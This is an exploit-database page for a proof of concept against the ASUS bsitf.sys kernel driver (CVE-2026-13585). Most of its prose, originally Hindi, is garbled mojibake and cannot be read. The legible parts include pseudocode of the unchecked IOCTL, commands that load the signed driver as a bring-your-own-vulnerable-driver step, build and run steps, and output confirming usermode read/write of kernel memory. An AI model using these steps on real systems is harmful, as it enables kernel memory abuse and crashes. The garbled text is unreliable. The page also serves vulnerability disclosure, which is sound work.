## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-416REHMAN-ASUS-BSITF-0-DAY-POC
# POC - ASUS bsitf.sys рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореИрдкрд┐рдВрдЧ рдЯреВ рдпреВрдЬрд╝рд░рдореЛрдб
CVE-2026-13585
## рд╕рд╛рд░рд╛рдВрд╢
ASUS `bsitf.sys` (рдЬрд┐рд╕реЗ `AsusBSItf.sys` рдХреЗ рд░реВрдк рдореЗрдВ рднреА рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ IOCTL `0x222808` рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рдЖрдХрд╛рд░ рдХреА рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ рд╕рдиреНрдирд┐рдХрдЯ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рдкреВрд░реНрдг рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдореИрдк рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХреЙрд▓рд░ рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рд╡рд░реНрдЪреБрдЕрд▓ рдкрддрд╛ рдФрд░ рднреМрддрд┐рдХ рдкрддрд╛ рджреЛрдиреЛрдВ рд▓реМрдЯрд╛рддрд╛ рд╣реИред
рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдЗрд╕реЗ рдкреНрд░рд╢рд╛рд╕рдХ-рд╕реЗ-рдХрд░реНрдиреЗрд▓ рдПрд╕реНрдХреЗрд▓реЗрд╢рди рдмрдирд╛рддрд╛ рд╣реИред BYOVD (рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбреНрд░рд╛рдЗрд╡рд░ рд▓рд╛рдПрдВ) рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдпрд╛ рдПрдХ рдЕрд▓рдЧ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдЗрд╕ рдХрд╛рдиреВрдиреА рд░реВрдк рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рдордирдорд╛рдирд╛ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред
## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг
рд╕рдВрд╕реНрдХрд░рдг| рдлрд╝рд╛рдЗрд▓ рдирд╛рдо| рдкреИрдХреЗрдЬ| рдкреВрд▓ рдкреНрд░рдХрд╛рд░
---|---|---|---
3.0.10.0| bsitf.sys| ASUS Business Manager / AbmSvcPackage| `NonPagedPool` (executable)
3.1.10.0| AsusBSItf.sys| ASUS SCI / AsusSoftwareManager| `NonPagedPoolNx`
3.1.25.0| AsusBSItf.sys| ASUS SCI / AsusSoftwareManager| `NonPagedPoolNx`
рд╕рднреА рд╕рдВрд╕реНрдХрд░рдг рдбрд┐рд╡рд╛рдЗрд╕ `\Device\bsitf` рдХреЛ рд╕рд┐рдорд▓рд┐рдВрдХ `\DosDevices\bsitf` рдХреЗ рд╕рд╛рде рдмрдирд╛рддреЗ рд╣реИрдВред
## рдкреНрд░рднрд╛рд╡
рдореИрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рдмрдлрд░ рдПрдХ рдирдпрд╛ рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рдЖрд╡рдВрдЯрди рд╣реИ, рди рдХрд┐ рдПрдХ рдордирдорд╛рдирд╛ рдХрд░реНрдиреЗрд▓ рдкрддрд╛ред рдХреЙрд▓рд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд╕реНрдерд╛рди рдХреЛ рдирд╣реАрдВред рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдордирдорд╛рдиреЗ рдХрд░реНрдиреЗрд▓ R/W рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред
* **рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рд╕рдорд╛рдкреНрддрд┐ (DoS)** тАФ рдореБрдХреНрдд рдХрд┐рдП рдмрд┐рдирд╛ рдмрд╛рд░-рдмрд╛рд░ рдЖрд╡рдВрдЯрди рд╕реЗ NonPagedPool рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ BSOD рд╣реЛрдЧрд╛ред рдХреЛрдИ рдЖрдХрд╛рд░ рд╕реАрдорд╛ рдпрд╛ рдЖрд╡рдВрдЯрди рд╕реАрдорд╛ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред
* **рднреМрддрд┐рдХ рдкрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг** тАФ IOCTL рдкреНрд░рддреНрдпреЗрдХ рдЖрд╡рдВрдЯрди рдХрд╛ рднреМрддрд┐рдХ рдкрддрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реВрдЪрдирд╛ рд▓реАрдХ рдпрд╛ DMA-рдЖрдзрд╛рд░рд┐рдд рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред
* **рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рд╕реНрдЯреЗрдЬрд┐рдВрдЧ (рдХреЗрд╡рд▓ v3.0.x)** тАФ рд╕рдВрд╕реНрдХрд░рдг 3.0.10.0 рдкрд░, рдкреВрд▓ рдкреНрд░рдХрд╛рд░ NonPagedPool (executable) рд╣реИред рд╢реЗрд▓рдХреЛрдб рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рд╕реЗ рдореИрдк рдХрд┐рдП рдЧрдП рдмрдлрд░ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд░реНрдиреЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдмрдлрд░ рдкрддреЗ рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдХрдордЬреЛрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
v3.1.x рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (NonPagedPoolNx) рдкрд░, рдмрдлрд░ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ рдФрд░ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдкреНрд░рднрд╛рд╡ DoS рдФрд░ рднреМрддрд┐рдХ рдкрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рддрдХ рд╕реАрдорд┐рдд рд╣реИред
## рдореВрд▓ рдХрд╛рд░рдг
рдбрд┐рд╕реНрдкреИрдЪ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ IOCTL `0x222808` рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
рдЖрд╡рдВрдЯрди рдЖрдХрд╛рд░, рдмрдХрд╛рдпрд╛ рдЖрд╡рдВрдЯрди рдЧрдгрдирд╛, рдпрд╛ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдкрд░ рдХреЛрдИ рдЬрд╛рдВрдЪ рдирд╣реАрдВ рд╣реИред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдмрд╛рд░ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, IOCTL рдЕрдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИрдВред
## рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛
### рдмрд┐рд▓реНрдб
root@kitploit:~
cargo build --release
### рдбреНрд░рд╛рдЗрд╡рд░ рд▓реЛрдб рдХрд░реЗрдВ
root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
### рдЪрд▓рд╛рдПрдВ
root@kitploit:~
# default: 0x1000 (4KB) allocation
cargo run --release
# custom size (hex)
cargo run --release -- 10000
### рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ
root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Windows 11 24H2 рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ (рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред
## рдЙрдкрдЪрд╛рд░
1. рдЖрд╡рдВрдЯрди рдЖрдХрд╛рд░ рдХреЛ рдПрдХ рдЙрдЪрд┐рдд рдКрдкрд░реА рд╕реАрдорд╛ рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп рдХрд░реЗрдВ
2. рдкреНрд░рддрд┐ рд╣реИрдВрдбрд▓ рдмрдХрд╛рдпрд╛ рдЖрд╡рдВрдЯрдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ
3. рдХрд░реНрдиреЗрд▓ рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдореИрдк рди рдХрд░реЗрдВ
4. рдпреВрдЬрд╝рд░рдореЛрдб рдХреЙрд▓рд░реЛрдВ рдХреЛ рднреМрддрд┐рдХ рдкрддреЗ рд╡рд╛рдкрд╕ рди рдХрд░реЗрдВ
5. рд╕рднреА рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ `NonPagedPoolNx` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
## рд╕рдордпрд░реЗрдЦрд╛
рджрд┐рдирд╛рдВрдХ| рдШрдЯрдирд╛
---|---
2026-04-06| рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдордЬреЛрд░реА рдХреА рдЦреЛрдЬ
2026-04-06| Windows 11 24H2 рдкрд░ PoC рдХреА рдкреБрд╖реНрдЯрд┐
2026-04-06| ASUS PSIRT рдХреЛ рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ
## рд╕рдВрджрд░реНрдн
* CWE-782: рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЕрднрд┐рдЧрдо рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд╕рд╛рде рдЙрдЬрд╛рдЧрд░ IOCTL
* рдбрд┐рд╡рд╛рдЗрд╕: `\Device\bsitf`, рд╕рд┐рдорд▓рд┐рдВрдХ: `\DosDevices\bsitf`
* рдбрд┐рд╕реНрдкреИрдЪ рд╣реИрдВрдбрд▓рд░: `FUN_140001070`
## рдЕрд╕реНрд╡реАрдХрд░рдг
рдпрд╣ рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд░реБрджреНрдз рди рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдЖрдк рдорд╛рд▓рд┐рдХ рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреА рдЖрдкрдХреЛ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред